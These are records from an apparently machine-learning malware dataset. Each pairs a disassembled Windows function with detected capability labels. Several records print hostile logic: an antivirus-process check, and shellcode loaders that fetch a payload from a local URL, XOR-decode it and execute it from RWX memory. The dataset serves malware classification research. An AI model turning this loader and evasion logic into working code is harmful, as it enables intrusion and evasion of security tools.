joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180034610
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.18001be38
mov qword [rsp + 0x28], 0
cmp qword [0x1800637b8], 0
jne 0x180034658
cmp qword [0x1800637b0], 0
je 0x180034658
mov rax, qword [0x1800637b0]
mov qword [0x1800637b8], rax
cmp qword [0x1800637b8], 0
je 0x1800346fe
mov rax, qword [0x1800637b8]
cmp qword [rax + 0x10], 0
je 0x1800346fe
mov rax, qword [0x1800637b8]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x1800346fe
mov rax, qword [0x1800637b8]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x1800346fe
mov rax, qword [0x1800637b8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x1800346c4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x1800346cb
xor eax, eax
jmp 0x180034879
mov rax, qword [0x1800637b8]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.18001bb09
mov rax, qword [rsp + 0x28]
jmp 0x180034879
mov rax, qword [0x1800637b0]
mov qword [0x1800637b8], rax
jmp 0x180034720
mov rax, qword [0x1800637b8]
mov rax, qword [rax + 8]
mov qword [0x1800637b8], rax
cmp qword [0x1800637b8], 0
je 0x18003476d
cmp qword [0x1800637b8], 0
je 0x18003476b
mov rax, qword [0x1800637b8]
cmp qword [rax + 0x10], 0
je 0x18003476b
mov rax, qword [0x1800637b8]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x18003476b
mov rax, qword [0x1800637b8]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x18003476b
jmp 0x18003469c
jmp 0x18003470e
mov rcx, qword [rsp + 0x60]
call fcn.18001b3e8
and eax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.180034920
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x180034877
mov rax, qword [rsp + 0x48]
mov qword [0x1800637b8], rax
mov rax, qword [0x1800637b8]
mov dword [rax], 0x52727464
mov rax, qword [0x1800637b8]
mov qword [rax + 0x10], 0
mov rax, qword [0x1800637b8]
mov rcx, qword [0x1800637b0]
mov qword [rax + 8], rcx
mov rax, qword [0x1800637b8]
mov qword [0x1800637b0], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x1800637b8]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x180034828
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x180034862
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x18003481e
mov rax, qword [0x1800637b8]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x18003469c
xor eax, eax
add rsp, 0x58
ret
Function at 0x140011159
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140011970
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xd38
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x252
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xd58]
mov rax, qword [0x14001eb80]
xor rax, rbp
mov qword [rbp + 0xcf8], rax
lea rcx, [0x1400250f4]
call fcn.14001142e
mov qword [rbp + 8], 0
mov r8d, dword [rbp + 0xd20]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400119e7
mov rax, qword [rbp + 8]
jmp 0x140011aba
lea r9, [rbp + 0x64]
mov r8d, 8
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call fcn.140011073
test eax, eax
je 0x140011aac
mov qword [rbp + 0x88], 0x400
lea rax, [rbp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
mov r9d, 0x400
lea r8, [rbp + 0xb0]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call fcn.14001146f
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcslen]
inc rax
mov qword [rbp + 0x8c8], rax
mov rax, qword [rbp + 0x8c8]
shl rax, 1
mov qword [rbp + 0x8e8], rax
mov rcx, qword [rbp + 0x8e8]
call fcn.1400111cc
mov qword [rbp + 0xce8], rax
mov rax, qword [rbp + 0xce8]
mov qword [rbp + 8], rax
mov qword [rsp + 0x20], 0xffffffffffffffff
lea r9, [rbp + 0xb0]
mov r8, qword [rbp + 0x8e8]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x908]
call qword [sym.imp.ucrtbased.dll_wcstombs_s]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 8]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad60]
call fcn.1400113a7
mov rax, rdi
mov rcx, qword [rbp + 0xcf8]
xor rcx, rbp
call fcn.140011212
lea rsp, [rbp + 0xd08]
pop rdi
pop rbp
ret

Function at 0x14001125d
Capabilities:
Terminate process

Disassembly:
jmp 0x1400134a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112e9
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140011ca0
push rbp
push rdi
mov eax, 0x1708
call fcn.1400110d2
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x43a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001eb80]
xor rax, rbp
mov qword [rbp + 0x16d8], rax
lea rcx, [0x1400250f4]
call fcn.14001142e
mov byte [rbp + 4], 0
lea r8, [rbp + 0x1044]
mov edx, 0x1000
lea rcx, [rbp + 0x30]
call fcn.1400111b3
test eax, eax
jne 0x140011d0a
mov eax, 1
jmp 0x140011e08
mov eax, dword [rbp + 0x1044]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rbp + 0x1064], eax
mov dword [rbp + 0x1084], 0
jmp 0x140011d3a
mov eax, dword [rbp + 0x1084]
inc eax
mov dword [rbp + 0x1084], eax
mov eax, dword [rbp + 0x1064]
cmp dword [rbp + 0x1084], eax
jae 0x140011df2
mov eax, dword [rbp + 0x1084]
cmp dword [rbp + rax*4 + 0x30], 0
je 0x140011ded
mov eax, dword [rbp + 0x1084]
mov ecx, dword [rbp + rax*4 + 0x30]
call fcn.140011159
mov qword [rbp + 0x10a8], rax
cmp qword [rbp + 0x10a8], 0
jne 0x140011d7f
jmp 0x140011d2c
mov dword [rbp + 0x10c4], 0
jmp 0x140011d99
mov eax, dword [rbp + 0x10c4]
inc eax
mov dword [rbp + 0x10c4], eax
movsxd rax, dword [rbp + 0x10c4]
cmp rax, 0x13
jae 0x140011ded
movsxd rax, dword [rbp + 0x10c4]
imul rax, rax, 0x80
lea rcx, str.MsMpEng.exe
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x10a8]
call fcn.1400114ab
test eax, eax
jne 0x140011deb
mov byte [rbp + 4], 1
mov rdx, qword [rbp + 0x10a8]
lea rcx, str.AV_found:__s
call fcn.1400111f9
jmp 0x140011d8b
jmp 0x140011d2c
movzx eax, byte [rbp + 4]
test eax, eax
jne 0x140011e06
lea rcx, str.No_AV_found
call fcn.1400111f9
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ae50]
call fcn.1400113a7
mov rax, rdi
mov rcx, qword [rbp + 0x16d8]
xor rcx, rbp
call fcn.140011212
lea rsp, [rbp + 0x16e8]
pop rdi
pop rbp
ret

Function at 0x1400112f8
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400147f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014810
xor al, al
jmp 0x140014891
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014823
xor al, al
jmp 0x140014891
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001484d
xor al, al
jmp 0x140014891
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014861
xor al, al
jmp 0x140014891
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014873
xor al, al
jmp 0x140014891
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001488f
xor al, al
jmp 0x140014891
mov al, 1
add rsp, 0x38
ret
Function at 0x14000163c
Capabilities:
Check mutex on windows
Encode data using xor
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
lea rbx, str.kernel32.dll
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualProtect
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.WaitForSingleObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.OpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.WriteProcessMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateRemoteThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, str.abc_33332
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000173f
xor eax, eax
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
lea rax, [rbp - 0x20]
mov qword [rbp + 0x30], rax
xor edi, edi
mov qword [rbp - 0x20], rdi
lea eax, [rdi + 0xf]
mov qword [rbp - 8], rax
mov qword [rbp - 0x10], rdi
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rax
lea r9, str.http:__127.0.0.1:10001_user_getdata_abckZ3EI75p0V
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [r9 + rbx], dil
jne 0x14000176f
lea rcx, [rbp - 0x40]
cmp rbx, rax
ja 0x140001797
mov qword [rbp - 0x30], rbx
mov r8, rbx
mov rdx, r9
call fcn.140005c90
mov byte [rbp + rbx - 0x40], dil
jmp 0x1400017a0
mov rdx, rbx
call fcn.140001a30
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.14000116c
mov rsi, rax
mov edx, dword [rbp + 0x30]
test edx, edx
je 0x1400017cd
mov rcx, rax
mov r8d, edx
xor byte [rcx], 0xa
inc rcx
sub r8, 1
jne 0x1400017c1
mov rdi, rdx
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call r14
mov rbx, rax
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.140005c90
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumThreadWindows]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400017fe

Function at 0x1400072f4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007120
Function at 0x1800041b0
Capabilities:
Read file on windows

Disassembly:
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rdx, [0x1800283b4]
mov rcx, qword [rsp + 0x50]
call fcn.180010ec8
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1800041e8
xor eax, eax
jmp 0x1800042ca
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x20]
call fcn.180011568
mov rcx, qword [rsp + 0x20]
call fcn.180011ac0
cdqe
mov rcx, qword [rsp + 0x58]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x20]
call fcn.180011568
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax]
call fcn.180010638
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x180004248
mov rcx, qword [rsp + 0x20]
call fcn.1800108b4
xor eax, eax
jmp 0x1800042ca
mov r9, qword [rsp + 0x20]
mov rax, qword [rsp + 0x58]
mov r8, qword [rax]
mov edx, 1
mov rcx, qword [rsp + 0x30]
call fcn.180011258
mov rcx, qword [rsp + 0x20]
call fcn.1800108b4
mov qword [rsp + 0x28], 0
jmp 0x180004286
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax]
cmp qword [rsp + 0x28], rax
jae 0x1800042c5
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x180004279
mov rax, qword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x1800046d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [0x18003d078]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xa0]
cmp qword [rax + 0x68], 0
je 0x18000470d
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x180004714
mov al, 1
jmp 0x18000485c
call fcn.180006160
mov rcx, qword [rsp + 0xa0]
mov rcx, qword [rcx]
mov qword [rsp + 0x48], rcx
mov edx, eax
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x48]
call qword [rax + 0x18]
mov dword [rsp + 0x38], eax
call fcn.180006160
mov dword [rsp + 0x3c], eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x3c]
call fcn.1800061a0
movzx eax, al
test eax, eax
je 0x180004765
xor al, al
jmp 0x18000485c
mov qword [rsp + 0x58], 0x20
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0xa0]
add rcx, 0x74
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x60]
mov rdx, rcx
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x68]
call fcn.180007de0
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1800047ca
cmp dword [rsp + 0x30], 1
je 0x1800047d6
cmp dword [rsp + 0x30], 3
je 0x18000484a
jmp 0x18000485a
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jbe 0x180004821
mov rax, qword [rsp + 0xa0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.180011d18
cmp qword [rsp + 0x40], rax
je 0x180004821
xor al, al
jmp 0x18000485c
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x18000483b
mov dword [rsp + 0x34], 1
jmp 0x180004843
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x18000485c
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x18000485c
xor al, al
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.180009f70
add rsp, 0x98
ret
Function at 0x180006c40
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
mov rax, qword [0x18003d078]
xor rax, rsp
mov qword [rsp + 0xa8], rax
call fcn.180006160
mov dword [rsp + 0x50], eax
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x50]
call fcn.1800061a0
movzx eax, al
test eax, eax
je 0x180006c96
lea rcx, [rsp + 0xc8]
call fcn.180006ad0
jmp 0x180006ed5
mov rcx, qword [rsp + 0xc0]
call fcn.1800070e0
test rax, rax
je 0x180006d02
mov rcx, qword [rsp + 0xc0]
call fcn.1800070e0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0xc0]
call fcn.180006170
mov rcx, qword [rsp + 0x60]
cmp rcx, rax
jae 0x180006d02
lea rcx, [rsp + 0xc8]
call fcn.180007930
mov byte [rsp + 0x42], al
mov rcx, qword [rsp + 0xc0]
call fcn.180005360
movzx ecx, byte [rsp + 0x42]
mov byte [rax], cl
mov eax, dword [rsp + 0xc8]
jmp 0x180006ed5
mov rax, qword [rsp + 0xc0]
cmp qword [rax + 0x80], 0
jne 0x180006d1e
call fcn.180006160
jmp 0x180006ed5
mov rcx, qword [rsp + 0xc0]
call fcn.1800053c0
mov rax, qword [rsp + 0xc0]
cmp qword [rax + 0x68], 0
jne 0x180006d84
lea rcx, [rsp + 0xc8]
call fcn.180007930
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rcx + 0x80]
movzx ecx, al
call fcn.180001720
movzx eax, al
test eax, eax
je 0x180006d72
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x48], eax
jmp 0x180006d7b
call fcn.180006160
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
jmp 0x180006ed5
mov qword [rsp + 0x78], 0x20
lea rcx, [rsp + 0xc8]
call fcn.180007930
mov byte [rsp + 0x40], al
lea rax, [rsp + 0xa0]
lea rcx, [rsp + 0x41]
mov rdx, qword [rsp + 0xc0]
add rdx, 0x74
lea r8, [rsp + 0x68]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, rcx
lea r8, [rsp + 0x40]
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rax + 0x68]
call fcn.180006bd0
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x180006e18
cmp dword [rsp + 0x44], 1
je 0x180006e18
cmp dword [rsp + 0x44], 3
je 0x180006e94
jmp 0x180006ed0
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x180006e6c
mov rax, qword [rsp + 0xc0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x58]
mov edx, 1
lea rcx, [rsp + 0x80]
call fcn.180011d18
cmp qword [rsp + 0x58], rax
je 0x180006e6c
call fcn.180006160
jmp 0x180006ed5
mov rax, qword [rsp + 0xc0]
mov byte [rax + 0x71], 1
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x70], rax
je 0x180006e8d
mov eax, dword [rsp + 0xc8]
jmp 0x180006ed5
call fcn.180006160
jmp 0x180006ed5
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax + 0x80]
movzx ecx, byte [rsp + 0x40]
call fcn.180001720
movzx eax, al
test eax, eax
je 0x180006ec1
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x4c], eax
jmp 0x180006eca
call fcn.180006160
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
jmp 0x180006ed5
call fcn.180006160
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.180009f70
add rsp, 0xb8
ret
Function at 0x1800071e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180007213
xor eax, eax
jmp 0x1800072eb
mov rax, qword [rsp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
cmp dword [rax], 0x4550
je 0x180007240
xor eax, eax
jmp 0x1800072eb
mov rax, qword [rsp + 8]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 8]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x10], rax
mov dword [rsp], 0
jmp 0x180007269
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 8]
movzx eax, word [rax + 6]
cmp dword [rsp], eax
jge 0x1800072e9
movsxd rax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40]
sub rax, rcx
movzx edx, byte [rcx]
cmp dl, byte [rcx + rax]
jne 0x1800072a5
inc rcx
test dl, dl
jne 0x180007292
xor eax, eax
jmp 0x1800072aa
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800072e4
movsxd rax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x10]
mov eax, dword [rdx + rax + 8]
mov dword [rcx], eax
movsxd rax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
jmp 0x1800072eb
jmp 0x180007261
xor eax, eax
add rsp, 0x28
ret

Function at 0x180007320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [0x18003d078]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov eax, 0x6e
mov word [rsp + 0x60], ax
mov eax, 0x74
mov word [rsp + 0x62], ax
mov eax, 0x64
mov word [rsp + 0x64], ax
mov eax, 0x6c
mov word [rsp + 0x66], ax
mov eax, 0x6c
mov word [rsp + 0x68], ax
mov eax, 0x2e
mov word [rsp + 0x6a], ax
mov eax, 0x64
mov word [rsp + 0x6c], ax
mov eax, 0x6c
mov word [rsp + 0x6e], ax
mov eax, 0x6c
mov word [rsp + 0x70], ax
xor eax, eax
mov word [rsp + 0x72], ax
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x48], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x38], 0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x34], 0x3000
mov dword [rsp + 0x30], 0x40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [rsp + 0x30]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x34]
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0x50]
xor r8d, r8d
lea rdx, [rsp + 0x38]
mov rcx, rax
call qword [rsp + 0x58]
mov dword [rsp + 0x40], eax
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xa8]
rep movsb byte [rdi], byte [rsi]
call qword [rsp + 0x38]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180009f70
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x180007f10
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
cmp qword [rsp + 0x70], 0
jg 0x180007f32
xor eax, eax
jmp 0x1800080d5
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x68], 0
je 0x180007f57
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.1800080e0
jmp 0x1800080d5
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call fcn.180004c60
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x180007fed
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.180001e70
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x60]
call fcn.180006490
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.180005d10
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
call fcn.180006390
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x80], 0
je 0x1800080c5
mov rcx, qword [rsp + 0x60]
call fcn.1800053c0
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x18000808d
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x68]
call fcn.180011258
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x18000808b
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x1800080d5
jmp 0x180008013
cmp qword [rsp + 0x20], 0
jbe 0x1800080c5
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x68]
call fcn.180011258
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x58
ret